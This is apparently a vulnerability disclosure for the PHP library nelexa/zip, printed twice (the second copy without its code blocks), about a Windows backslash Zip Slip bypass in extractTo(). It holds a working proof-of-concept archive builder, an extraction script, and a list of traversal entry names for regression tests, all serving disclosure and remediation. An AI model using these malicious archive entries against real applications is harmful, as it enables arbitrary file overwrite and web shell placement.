Summary
nelexa/zip is vulnerable to arbitrary file write during archive extraction on Windows. The ZipFile::extractTo() method attempts to prevent Zip Slip by normalizing . and .. path components, but the normalizer only splits entry names on /. A malicious archive entry using Windows backslashes, such as ..\..\poc.txt, is not sanitized and is passed to filesystem APIs as a path outside the intended extraction directory.
Product
- Project:
nelexa/zip / PhpZip
- Package:
pkg:composer/nelexa/zip
- Package URL:
https://packagist.org/packages/nelexa/zip
- Repository:
https://github.com/Ne-Lexa/php-zip
- Latest released version observed:
4.0.2
- Packagist security advisories observed:
0
Vulnerability Type
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
- CWE-73: External Control of File Name or Path
- Common name: Zip Slip / archive extraction path traversal
Affected Versions
Based on local repository review:
3.1.12 through 4.0.2, and current master, are affected by the Windows backslash traversal bypass.
- Versions up to and including
3.1.11 appear affected by a broader Zip Slip issue because extraction concatenated raw entry names directly with the destination path.
The current CVE request can describe the affected range as all released versions through 4.0.2, with the note that the exact exploit string differs before and after the 3.1.12 mitigation.
Affected Code
Current master:
src/ZipFile.php
ZipFile::extractTo() calls FilesUtil::normalizeZipPath($entryName) and writes to $destDir . DIRECTORY_SEPARATOR . $entryName.
src/Util/FilesUtil.php
FilesUtil::normalizeZipPath() only performs explode('/', $path), so backslash-separated .. components survive on Windows.
Relevant logic:
// src/ZipFile.php
$entryName = FilesUtil::normalizeZipPath($entryName);
$file = $destDir . \DIRECTORY_SEPARATOR . $entryName;
// src/Util/FilesUtil.php
return implode(
\DIRECTORY_SEPARATOR,
array_filter(
explode('/', $path),
static fn ($part) => $part !== '.' && $part !== '..'
)
);
Root Cause
ZIP entry names are attacker-controlled. The extraction code treats / as the only separator during normalization, but Windows also treats \ as a path separator. Therefore, an entry name containing ..\..\file.txt is left unchanged by normalizeZipPath() and becomes a real traversal path when joined with the destination directory on Windows.
The existing regression test covers ../dir/./../../file.txt, which is sanitized, but it does not cover Windows backslash separators or mixed separators.
Proof of Concept
Create a malicious ZIP containing a backslash traversal entry:
import zipfile
with zipfile.ZipFile("phpzip-backslash-slip.zip", "w") as z:
z.writestr(r"..\..\phpzip-poc-marker.txt", "phpzip windows traversal poc\n")
Then extract it with nelexa/zip on Windows. Use a nested extraction root so the marker file escapes that exact root while remaining inside the PoC working directory:
<?php
require __DIR__ . '/vendor/autoload.php';
$zipPath = __DIR__ . '/phpzip-backslash-slip.zip';
$outputBase = __DIR__ . '/poc-output';
$dest = $outputBase . '/extract-root/a/b';
$escapedPath = $outputBase . '/extract-root/phpzip-poc-marker.txt';
if (!is_dir($dest)) {
mkdir($dest, 0755, true);
}
$zip = new \PhpZip\ZipFile();
$zip->openFile($zipPath);
$zip->extractTo($dest);
$zip->close();
echo "Extraction root: {$dest}\n";
echo "Escaped marker exists: " . (is_file($escapedPath) ? 'yes' : 'no') . "\n";
On Windows, the entry ..\..\phpzip-poc-marker.txt is normalized by the library to the same string. When joined with an extraction directory such as:
<project-root>\poc-output\extract-root\a\b\..\..\phpzip-poc-marker.txt
Windows resolves it outside the extraction root, for example:
<project-root>\poc-output\extract-root\phpzip-poc-marker.txt
Minimal commands:
python .\create_malicious_zip.py
composer install
php .\extract_with_phpzip.php
Equivalent path-resolution behavior:
{
"Entry": "..\\..\\poc.txt",
"Normalized": "..\\..\\poc.txt",
"Joined": "<project-root>\\poc-output\\extract-root\\a\\b\\..\\..\\poc.txt",
"FullPath": "<project-root>\\poc-output\\extract-root\\poc.txt",
"Escapes": true
}
Impact
An attacker who can supply a ZIP archive to an application that uses nelexa/zip to extract files on Windows can write files outside the intended extraction directory. Depending on the application context and filesystem permissions, this can lead to:
- arbitrary file overwrite or creation;
- application configuration tampering;
- web shell or script placement in a web-accessible directory;
- denial of service by overwriting application files.
The vulnerability does not require a malicious ZIP to use symlinks and does not require special ZIP features.
Suggested Severity
Suggested CVSS depends on the consuming application:
- Server-side archive processing:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 High/Critical boundary)
- User-assisted extraction workflow:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H (8.1 High)
Suggested Remediation
Do not only remove .. segments. Reject unsafe entry names before writing.
Recommended protections:
- Convert both
\ and / to a single internal separator before validation.
- Reject absolute paths, drive-letter paths, UNC paths, stream-wrapper paths, and paths containing NUL bytes.
- Reject any
. or .. path component.
- Resolve the destination root with
realpath().
- Join the destination root and sanitized entry name, then verify the final target path remains under the destination root before
mkdir(), fopen(), chmod(), touch(), or symlink handling.
- Add regression tests for:
..\..\evil.txt
safe/..\..\evil.txt
safe\..\evil.txt
/absolute/path.txt
C:\absolute\path.txt
\\server\share\path.txt
PoC Files
To reproduce, download both attached files into the root directory of a checkout of this project, then run:
python .\create_malicious_zip.py
composer install
php .\extract_with_phpzip.php
Expected vulnerable output on Windows:
Extraction root: C:\path\to\php-zip\poc-output\extract-root\a\b
Escaped marker: C:\path\to\php-zip\poc-output\extract-root\phpzip-poc-marker.txt
Marker exists: yes
Marker content: phpzip windows traversal poc
Summary
nelexa/zipis vulnerable to arbitrary file write during archive extraction on Windows. TheZipFile::extractTo()method attempts to prevent Zip Slip by normalizing.and..path components, but the normalizer only splits entry names on/. A malicious archive entry using Windows backslashes, such as..\..\poc.txt, is not sanitized and is passed to filesystem APIs as a path outside the intended extraction directory.Product
nelexa/zip/ PhpZippkg:composer/nelexa/ziphttps://packagist.org/packages/nelexa/ziphttps://github.com/Ne-Lexa/php-zip4.0.20Vulnerability Type
Affected Versions
Based on local repository review:
3.1.12through4.0.2, and currentmaster, are affected by the Windows backslash traversal bypass.3.1.11appear affected by a broader Zip Slip issue because extraction concatenated raw entry names directly with the destination path.The current CVE request can describe the affected range as all released versions through
4.0.2, with the note that the exact exploit string differs before and after the3.1.12mitigation.Affected Code
Current
master:src/ZipFile.phpZipFile::extractTo()callsFilesUtil::normalizeZipPath($entryName)and writes to$destDir . DIRECTORY_SEPARATOR . $entryName.src/Util/FilesUtil.phpFilesUtil::normalizeZipPath()only performsexplode('/', $path), so backslash-separated..components survive on Windows.Relevant logic:
Root Cause
ZIP entry names are attacker-controlled. The extraction code treats
/as the only separator during normalization, but Windows also treats\as a path separator. Therefore, an entry name containing..\..\file.txtis left unchanged bynormalizeZipPath()and becomes a real traversal path when joined with the destination directory on Windows.The existing regression test covers
../dir/./../../file.txt, which is sanitized, but it does not cover Windows backslash separators or mixed separators.Proof of Concept
Create a malicious ZIP containing a backslash traversal entry:
Then extract it with
nelexa/zipon Windows. Use a nested extraction root so the marker file escapes that exact root while remaining inside the PoC working directory:On Windows, the entry
..\..\phpzip-poc-marker.txtis normalized by the library to the same string. When joined with an extraction directory such as:Windows resolves it outside the extraction root, for example:
Minimal commands:
Equivalent path-resolution behavior:
{ "Entry": "..\\..\\poc.txt", "Normalized": "..\\..\\poc.txt", "Joined": "<project-root>\\poc-output\\extract-root\\a\\b\\..\\..\\poc.txt", "FullPath": "<project-root>\\poc-output\\extract-root\\poc.txt", "Escapes": true }Impact
An attacker who can supply a ZIP archive to an application that uses
nelexa/zipto extract files on Windows can write files outside the intended extraction directory. Depending on the application context and filesystem permissions, this can lead to:The vulnerability does not require a malicious ZIP to use symlinks and does not require special ZIP features.
Suggested Severity
Suggested CVSS depends on the consuming application:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H(9.1 High/Critical boundary)CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H(8.1 High)Suggested Remediation
Do not only remove
..segments. Reject unsafe entry names before writing.Recommended protections:
\and/to a single internal separator before validation..or..path component.realpath().mkdir(),fopen(),chmod(),touch(), or symlink handling...\..\evil.txtsafe/..\..\evil.txtsafe\..\evil.txt/absolute/path.txtC:\absolute\path.txt\\server\share\path.txtPoC Files
To reproduce, download both attached files into the root directory of a checkout of this project, then run:
Expected vulnerable output on Windows: